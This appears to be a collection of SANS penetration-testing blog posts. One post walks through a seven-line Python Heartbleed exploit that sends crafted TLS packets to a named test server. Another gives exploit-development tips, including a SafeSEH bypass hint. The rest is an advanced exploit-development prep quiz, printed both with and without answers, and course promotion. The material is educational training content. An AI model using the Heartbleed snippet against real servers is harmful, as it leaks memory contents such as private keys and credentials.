SANS Python Pen Testers | Exploit Heartbleed Vulnerabilities | SEC573

Pen Testers use Python to assess HeartBleed vulnerabilities.

By Mark Baggett

Unless you’ve been living in a cave without access to the outside world, you already know that OpenSSL 1.0.1 suffers from a serious vulnerability that allows a remote attacker to extract data from the memory of a target computer.   The vulnerability was first made “public” (by varying definitions of the word “public”) on April 7th.    The events leading up to the disclosure are interesting.   If you haven’t reviewed them, the Sydney Morning Herald does a great job of outlining the events leading up to the disclosure.  Check it out here:

http://www.smh.com.au/it-pro/security-it/heartbleed-disclosure-timeline-who-knew-what-and-when-20140415-zqurk.html

So while it is clear as mud who knew about the vulnerability and when, it is very clear what happened afterwards.  A lot of people leveraged the power of Python to rapidly develop exploits that demonstrate the seriousness of the vulnerability.

The flaw was made public on April 7th.   Shortly afterward,  several tools were released.   Jared Stafford (jspenguin) wrote the first public proof of concept Python tool to exploit the vulnerability.  His tool called “SSLTEST.PY” was published here, http://s3.jspenguin.org/ssltest.py.  As I write this, that website is unavailable but several copies of his original tool are still available through pastebin.com.  http://pastebin.com/WmxzjkXJ

The exploit was quickly modified and improved by takeshix https://twitter.com/_takeshix.  His version of the tool included support for several application layer protocols that use OpenSSL, such as secure email and SFTP.   His update is called “HB-TEST.PY”   This is probably the most widely used variant of the exploit and it is available here:  https://gist.github.com/takeshixx/10107280#file-hb-test-py

Several other interesting Python penetration testing tools were also published in short order, including a scanner written by Rahul Sasi that looks for vulnerable servers called “HEARTBEAT_SCANNER.PY”  His code is available here:

https://bitbucket.org/fb1h2s/cve-2014-0160/src/bba16b3eedef0e92bd91fea496b00c92eb515e29/Heartbeat_scanner.py?at=master

Peter Wu (aka Lekensteyn) also posted a tool called “PACEMAKER.PY” that can be used to test/exploit client software.  That’s right — client software!  You have to worry about more than just those nasty web servers.  His tool is available here.

https://github.com/Lekensteyn/pacemaker

In no time at all we went from a new vulnerability disclosure all the way up to a wealth of new tools that exploit the vulnerability.  So what do “ssltest.PY”, “hb-test.PY”, “heartbeat_scanner.PY” and “pacemaker.PY” all have in common?  They are all PYTHON PROGRAMS!   Why?  Because Python in pen testing is awesome!  Python is a “rapid deployment”, “batteries included” language.  That means the core set of libraries include everything that you need to perform a wide variety of tasks, including developing exploits.  Most tools only require a few lines of code.  How simple is it to exploit this vulnerability with Python?  You can do it in 7 lines of code.  Check it out:

import socket
sh=socket.socket()
sh.connect(("54.217.122.251",443))
sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))
helloresponse=sh.recv(8196)
sh.send("1803020003014000".decode('hex'))
data=sh.recv(8196)

The code is pretty straight-forward.  First, we import the socket module and create a new socket object called “sh”.  We can use this object to connect to, and interact with, a remote server.  Next we use the “sh” object to connect to a remote target by providing an IP address and a port.  In this case, I am targeting a public server that has been set up by Martin Bachmann so you can see how this vulnerability works.  The URL for his server is http://heartbleed.insign.ch.  Then we send the SSL Hello message followed by the Heartbeat message.  In this case, I am transmitting the Hello and Heartbeat packets generated by Rahul Sasi’s scanner that trigger the exploit.   Then we capture the response containing the remote machine memory into a variable called “data”.  That is it!  You’ve exploited the vulnerability and captured the response.

Here are those 7 lines of code in action:

It is simple.  Python empowers penetration testers.  If you know how to use Python, you can go very quickly from a concept to working code.  SANS  Python for Penetration Testers  course, SEC573, is designed to teach you what you need to develop these kinds of tools on your own.  The course is self-paced with no prerequisites and will meet you where you are.   Even if you don’t have any programming background, the course will have you developing your own tools in to time!  The first two days cover all of the essentials of the language.  If you already know how to code, don’t worry.  You will NOT be bored.  Since this course is self- paced, you will sharpen your existing skills as well as develop new ones, through a series of self-guided pyWars challenges.  Then you will write four new penetration testing tools ready for use in your next engagement.  Finally, you will put your new tools and skills to the test in a team based capture the flag event.  Python is awesome and the SANS Python for pen testers course is the perfect place to learn new Python skills.

–Mark Baggett
@MarkBaggett 

Exploit Development Tips, Tricks, Tools and Resources

[Here’s the second part of our series of Pen Test Tips that were featured on the Ultimate SANS Pen Test Poster.  Last week, we featured some network Pen Test Tips by John Strand.  This time around, Mr. Steve Sims shares some useful insights and resources on exploit development. –Ed.]

By Steve Sims
Methodology Tips

Recon – When fuzzing applications and kernels for potential vulnerabilities, monitoring is key in successfully identifying what caused a crash to occur. Failure to properly set up monitoring may render an otherwise exploitable condition to go unnoticed.
Scanning – When bug hunting, fuzzing is one of your best friends. It is critical to spend the upfront time understanding the protocol or file format you are testing. Even more important is the ability to apply proper code coverage analysis to determine if you are reaching the code segments desired. It is unlikely that you will find bugs in code that you do not execute during testing.
Exploitation – On modern operating systems there are many exploit mitigation controls with the goal of thwarting your attacks. An attacker must be armed with many techniques to defeat or circumvent these controls. Familiarity with Return Oriented Programming (ROP), C/C++ programming, and tools to navigate the complexities of the Windows heap and its allocators are essential.
Post-Exploitation – Once an exploitable condition is identified and a working exploit created, efforts must be made to make the exploit as stable as possible. Exploits that only work a fraction of the time are more likely to cause application and system crashes. Exploits should be responsibly disclosed to the appropriate vendor so that a patch is made available to protect their customers.
Notable Techniques – When abusing the Structured Exception Handling (SEH) service on Windows, almost all Windows modules (DLL’s), and many 3rd party modules are compiled with the SafeSEH protection. Try scanning the memory outside of the loaded modules for a Pop/Pop/Ret sequence up near Kernel memory at 0x7ffbXXXX. At this location it is often an NLS table mapping derived from ANSI/OEM code page data, as per Microsoft. You can most often find a code sequence here to bypass SafeSEH.

Must-Have Tools

IDA* – A commercial software disassembler and debugger with a great amount of community support and free plugins, perfect for vulnerability hunting, code coverage testing, and exploit development. IDA provides many different views of a disassembled binary and the ability to graph out how and when functions are called in complex applications, as well as countless other features. By Hex-Rays  http://www.hex-rays.com/index.shtml
WinDbg – A free Kernel mode (Ring 0) debugger allowing you to analyze the Windows Kernel and hunt for vulnerabilities. WinDbg comes with the Windows SDK or WDK and can help you determine the cause of the infamous Blue Screen of Death! By Microsoft http://msdn.microsoft.com/en-us/windows/hardware/gg463009.aspx
Immunity Debugger – A free User mode (Ring 3) debugger with great community support. Immunity Debugger has many freely available Python plugins to aide you in bug hunting and exploit writing, as well as an easy-to-navigate GUI interface. By Immunity http://www.immunityinc.com/products-immdbg.shtml
Mona.py – A free exploit development plugin for Immunity Debugger and WinDbg written by corelanc0d3r and the corelan team. Mona has pretty much everything you need to find ROP gadgets, trampolines, unprotected modules, and many easy commands to navigate Windows memory. By Peter Van Eeckhoutte & Corelan Team  http://redmine.corelan.be/projects/mona
BinDiff* – A commercial software diffing plugin to IDA. As patches are made to software it can be difficult to determine what code was modified. BinDiff, created by Zynamics and owned by Google, can help with pointing out code changes related to a patched vulnerability. By Google/Zynamics   http://www.zynamics.com/bindiff.html
Sulley – A free fuzzing framework for Windows and Linux. Sulley allows you to easily write up a protocol template which you can use to select various fields and conditions for fuzzing, all while providing monitoring and automation. By Pedram Amini & Aaron Portnoy  https://github.com/OpenRCE/sulley
GDB – A free command line *NIX application debugger. GDB provides you with the ability to debug and disassemble a program with easy to use commands and a lot of community support. GDB can debug applications written in C, C++, Objective C, Pascal, and some other languages. By GNU Project  http://www.gnu.org/software/gdb
VMware* – A commercial virtualization product with many diverse applications. VMware Workstation, Fusion for Mac, and the freely available VMware Player allow you to take snapshots of an operating system in any state desired. The tool helps greatly with exploit development and bug hunting by quickly allowing you to revert to a known good state just before a crash occurs.  By VMWare  http://www.vmware.com

* These tools are available on a commercial (cost) basis.
Great Resources for Staying Current

Exploit Database – http://www.exploit-db.com
Daily Dave Mailing List – http://seclists.org/dailydave
Corelan Team – http://www.corelan.be
Twitter – @exploitdb | @daveaitel | @corelanc0d3r

Associated SANS Courses

SEC660: Advanced Penetration Testing, Exploits, and Ethical Hacking www.sans.org/sec660
SEC760: Advanced Exploit Development www.sans.org/sec760

–Stephen Sims

SEC760 Prep Quiz Answers

[Editor’s Note: Steve Sims just released a brand new advanced course offered by SANS on advanced exploit development.  It’s amazing and intense stuff.  To help people determine whether they have the background skill set to prepare them for the course, Steve wrote a pretty cool little quiz.  The brief, 10-question quiz will give you an idea of what you need to know to take the course, and it’ll also help you measure your own skills.  Check out Steve’s description of the course below, take the quiz, and then see how you stack up in preparedness for the course! –Ed.]

Below are the answers for the 760 Prep Quiz answers.  For more details about the course and the quiz, please click  here.

Correct answers are in red bold font.

By Stephen Sims

 

SEC760 10 Question Exam Answers

1)     Which of the following functions is  most commonly  used to disable Data Execution Prevention (DEP) inside of a Windows 7 or Windows 8 process?

a) VirtualAlloc()
b) WriteProcessMemory()
c) VirtualProtect()
d) NtSetInformationProcess()

Answer: C – VirtualProtect() | While each of these functions is capable of being used to disable DEP, VirtualProtect() is the most commonly used. NtSetInformationProcess() is the easiest, but is no longer supported as of Windows 7.

 

2)     Windows 8 is a ____ ring processor access mode operating system?

a) 1
b) 2
c) 3
d) 4

Answer: B – 2 | Windows has always been a two-ring model operating system, kernel-land (ring 0) and userland (ring 3). This is the case for the majority of operating systems in existence today.

 

3)     Which of the following is the only native Ring 0 debugger?

a) WinDbg
b) GDB
c) OllyDbg
d) Immunity Debugger

Answer: A – WinDbg | WinDbg is the only debugger that natively supports Ring 0 debugging. Immunity Debugger and OllyDbg have no support outside of Ring 3, and GDB requires modification.

 

4)     Which of the following Windows 32-bit virtual addresses can a Ring 3 debugger never access?

a) 0x00000000
b) 0xFFFFFFFF
c) 0x7FFD0000
d) 0x13371337

Answer: B – 0xFFFFFFFF | On a default Windows 32-bit OS, even one supporting PAE, 0xFFFFFFFF is the only address listed that cannot be accessed by a Ring 3 debugger. Without PAE, userland virtual memory ends at 0x7FFFFFFF, and with PAE userland virtual memory ends at 0xBFFFFFFF. If you said answer “a,” and said it specifically because Windows 8 offers null pointer dereference protection, then you get a point for thinking ahead of the curve!

 

5)     True or False: A “return-to-libc” style of attack can be Turing-complete without the need to load external code?

Answer: False – The “return-to-libc” attack technique is not Turing-complete without the ability to load custom modules.

 

6)     In a 64-bit Windows application, the RBP register is most commonly used for which of the following purpose?

a) General Purpose Register
b) Base Pointer on the Stack
c) Pointer to Driver I/O
d) Extension of the Stack Pointer

Answer: A – General Purpose Register | On 64-bit operating systems running 64-bit applications, the RBP register is not often used as the base pointer on the stack like on 32-bit processes. This is due to the fact that there are eight additional general purpose registers available on 64-bit processors, r8 – r15, which can be used to hold arguments. The base pointer is usually no longer required.

 

7)     Which of the following would properly result in C++ function overloading? (Choose Two)

a) Same function name, different data types
b) Same function name, different number of arguments
c) Same function name, different buffer size
d) Same function name, different number of virtual functions

Answer: A & B – C++ function overloading is used when two functions within the same scope have the same name, but utilize different data types, or a different number of arguments. The function is typically the same otherwise.

 

8)     Which of the following stack pivot gadgets would not preserve a pointer to the original stack frame in eax?

a) push eax
mov eax, esp
pop esp
retn

b) xchg esp, eax
    pop eax
    push esp
    retn

c) mov ebp, eax
mov eax, esp
mov esp, ebp
retn

 d) xchg esp, eax
retn

Answer: B – Option “b” is the only one that would overwrite EAX by popping a value into it after the exchange. It does successfully pivot at first, but then clobbers EAX. Also, we return and execute what ESP is pointing to (object vptr), which is useful, but not as common as holding a pointer at this location during use-after-free attacks.

 

9)     Consider the following code:

int x_value = 99;
int* x = &x_value;

Which of the following lines of code would properly dereference “x” to get the value of “x_value?”

a) cout << &x;
b) cout << *x;
c) cout << **x;
d) cout << *&x;

Answer: B – cout << *x; | Answer “b” successfully dereferences “x” to access the value held at the variable x_value.

 

10)  Consider the following ASM:

mov eax, cr3
mov cr3, eax

Which of the following is the result of the above execution?

a) Nothing at all
b) The page directory is simply copied
c) Timing operation
d) Translation Lookaside Buffers are flushed

Answer: D – TLB’s are flushed | The TLB’s are flushed with the code sequence shown. This is often performed during context switching and requires the page table entries to be walked again. There has been much research performed in ways to preserve the process-specific TLB’s between context switches to save resources.

I hope you enjoyed the quiz!

–Stephen Sims
stephen@deadlisting.com

 

SANS Note:

For a listing of upcoming opportunities to take “SANS SEC760: Advanced Exploit Development for Penetration Testers,

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Got What It Takes for SEC760? Check Out this Short Quiz

[Editor’s Note: SEC760 is our most intense, advanced, and challenging penetration testing course and it’s amazing! To help people determine whether they have the background skill set to prepare them for the course, Steve Sims (author of the course) wrote a pretty cool little quiz. The brief, 10-question quiz will give you an idea of what you need to know to take the course, and it’ll also help you measure your own skills. Check out Steve’s description of the course below, take the quiz, and then see how you stack up in preparedness for the course! –Ed.]

I wanted to provide some information about “SANS SEC760: Advanced Exploit Development for Penetration Testers“. The course was written as a follow-on to “SEC660: Advanced Penetration Testing, Exploits, and Ethical Hacking,” for those wanting more knowledge and experience in exploit development. There has been a lot of growth in this area and many organizations are looking for professionals with this skill set in order to perform bug hunting, determine bug exploitability, and possess the ability to write exploits against applications running on modern operating systems. Even if your current position does not have you spending your days writing exploits, the subject matter covered is very relevant for:

  • Senior Penetration Testers
  • Senior Incident Handlers and Forensics Experts
  • Senior Windows Security Professionals (especially those responsible for patch management and selecting tools such as EMET to deploy.)
  • Senior Intrusion Analysts (IDS/IPS/AV/Linux/Windows/OSX)
  • C & C++ Developers
  • Professionals responsible for a Secure-SDLC & SDL process
  • Your future position in exploit research!

SEC760 is a very challenging course covering topics such as remote debugging with IDA, writing IDAPython & IDC scripts, SDL & threat modeling, Linux heap overflows, patch diffing, use-after-free attacks, Windows Kernel debugging and exploitation, and much more. Please see the course syllabus for a detailed listing, and be sure to take a look at the recommended prerequisites and laptop requirements. You are expected to already know how to write exploits for Windows and Linux applications, bypass exploit mitigation controls such as DEP and ASLR, utilize return oriented programming (ROP), etc?

As the author of the course, I get a lot of questions, including:

  • Am I ready for SEC760?
  • Should I take SEC660 first?
  • I’ve taken SEC660. Am I definitely ready for SEC760?
  • I’ve taken SEC560. Can I jump right to SEC760 if I only want the exploit dev material?
  • I have not taken any SANS pen testing courses, which one should I start with?
  • I’ve taken a course through Offensive Security, is the material the same?

There is no “one size fits all” reply to these types of questions, as everyone has a different level of experience. My personal recommendation is to thoroughly read through the course syllabus and prerequisite statements for any course you are considering. I am happy to answer any questions you may have about this subject matter to help you make an informed decision. You can reach me, Stephen Sims, at stephen@deadlisting.com.

I have written a ten question exam which will hopefully help you with determining if you are better suited for SEC660 or SEC760. Remember that this is purely from an exploit development perspective. SEC660 includes two days of material on introduction to exploit development and bypassing exploit mitigation controls. Much of the other material in SEC660 is on a wide range of advanced penetration testing topics such as network device exploitation (routers, switches, NAC), pentesting cryptographic implementations, fuzzing, Python, network booting attacks, PowerShell for post-exploitation, etc?
Please take the exam without any help. Do not use Google or other search engines to look up answers, ask a peer, or seek the answers by any means other than using your brain and experience. The answers along with explanations are also available in a separate link below. See how you measure up!
You can use the following as a rough guide based on the number of correct answers you achieve on your test.

  • 7/10 Correct: You are likely ready to take SEC760, given that you have exploit development experience as listed in the SEC760 course prerequisite section, such as that covered in SEC660.
  • 5/10 or 6/10 Correct: This I would consider a grey area where you may require some additional preparation to be successful in the SEC760 class, and again, you must have the exploit development experience as listed in the SEC760 course prerequisite section, such as that covered in SEC660.
  • 4/10 Correct or Lower: You are very likely not ready for SEC760 and will really benefit in taking SEC660 first. If you have already taken SEC660 and still scored below a 5/10, it is highly recommended that you work back through 660.4 and 660.5 for a refresh and try again.

Grab a pen and some paper and write down your answers to each of the ten questions below. When you are done, click on the link at the bottom to go through the answers.

Good luck with the quiz, and see you in SEC760!
Thanks!

-Stephen Sims
stephen@deadlisting.com

 

SEC760 10 Question Exam:

 

1. Which of the following functions is most commonly used to disable Data Execution Prevention (DEP) inside of a Windows 7 or Windows 8 process?
a) VirtualAlloc()
b) WriteProcessMemory()
c) VirtualProtect()
d) NtSetInformationProcess()

 

2. Windows 8 is a ____ ring processor access mode operating system?
a) 1
b) 2
c) 3
d) 4

 

3. Which of the following is the only native Ring 0 debugger?
a) WinDbg
b) GDB
c) OllyDbg
d) Immunity Debugger

 

4. Which of the following Windows 32-bit virtual addresses can a Ring 3 debugger never access?
a) 0x00000000
b) 0xFFFFFFFF
c) 0x7FFD0000
d) 0x13371337

 

5. True or False: A “return-to-libc” style of attack can be Turing-complete without the need to load external code?

 

6. In a 64-bit Windows application, the RBP register is most commonly used for which of the following purpose?
a) General Purpose Register
b) Base Pointer on the Stack
c) Pointer to Driver I/O
d) Extension of the Stack Pointer

 

7. Which of the following would properly result in C++ function overloading? (Choose Two)
a) Same function name, different data types
b) Same function name, different number of arguments
c) Same function name, different buffer size
d) Same function name, different number of virtual functions

 

8. Which of the following stack pivot gadgets would not preserve a pointer to the original stack frame in eax?
a) push eax
mov eax, esp
pop esp
retn
b) xchg esp, eax
pop eax
push esp
retn
c) mov ebp, eax
mov eax, esp
mov esp, ebp
retn
d) xchg esp, eax
retn

 

9. Consider the following code:
int x_value = 99;
int* x = &x_value;
Which of the following lines of code would properly dereference “x” to get the value of “x_value?”
a) cout << &x;
b) cout << *x;
c) cout << **x;
d) cout << *&x;

 

10. Consider the following ASM:
mov eax, cr3
mov cr3, eax
Which of the following is the result of the above execution?
a) Nothing at all
b) The page directory is simply copied
c) Timing operation
d) Translation Lookaside Buffers are flushed

 

For the answers and a brief explanation of each, please click here.

SANS Note:

For a listing of upcoming opportunities to take “SANS SEC760: Advanced Exploit Development for Penetration Testers,

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02